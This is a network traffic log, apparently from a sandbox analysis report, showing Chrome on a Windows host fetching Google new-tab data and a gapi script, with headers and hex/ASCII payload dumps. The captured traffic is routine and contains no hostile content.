2024-11-10 18:44:07 UTC	706	IN	Data Raw: 74 69 6f 6e 61 6c 20 68 75 72 72 69 63 61 6e 65 20 63 65 6e 74 65 72 22 2c 22 67 74 61 20 76 69 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 74 69 6d 20 64 69 6c 6c 6f 6e 20 6a 6f 6b 65 72 20 32 22 2c 22 72 6f 63 6b 65 66 65 6c 6c 65 72 20 63 65 6e 74 65 72 20 63 68 72 69 73 74 6d 61 73 20 74 72 65 65 22 2c 22 61 6d 61 7a 6f 6e 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 64 65 61 6c 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 Data Ascii: tional hurricane center","gta vi release date","tim dillon joker 2","rockefeller center christmas tree","amazon black friday deals"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc
2024-11-10 18:44:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	142.250.185.100	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:07 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-10 18:44:07 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 10 Nov 2024 18:44:07 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-10 18:44:07 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-10 18:44:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	142.250.185.100	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:07 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-10 18:44:07 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 10 Nov 2024 18:44:07 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-10 18:44:07 UTC	336	IN	Data Raw: 32 36 35 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 265a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-10 18:44:07 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-10 18:44:07 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-10 18:44:07 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-10 18:44:07 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-10 18:44:07 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 34 30 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700340,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_sc
2024-11-10 18:44:07 UTC	1378	IN	Data Raw: 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 5b 51 64 28 5c 22 64 Data Ascii: erCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003d[Qd(\"d
2024-11-10 18:44:07 UTC	1222	IN	Data Raw: 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 Data Ascii: .i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonc
2024-11-10 18:44:07 UTC	376	IN	Data Raw: 31 37 31 0d 0a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 Data Ascii: 171(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ue\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a
2024-11-10 18:44:07 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 65 5b 64 5d 2c 63 29 3a 5f 2e 6f 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 6f 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 74 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e Data Ascii: 8000(d)?a.setAttribute(te[d],c):_.oe(d,\"aria-\")\|\|_.oe(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};te\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"maxLen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	142.250.185.100	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:07 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-10 18:44:07 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 10 Nov 2024 18:44:07 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-10 18:44:07 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-10 18:44:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	142.250.186.78	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:10 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-10 18:44:10 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 08 Nov 2024 07:44:13 GMT Expires: Sat, 08 Nov 2025 07:44:13 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 212397 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-10 18:44:10 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-10 18:44:10 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
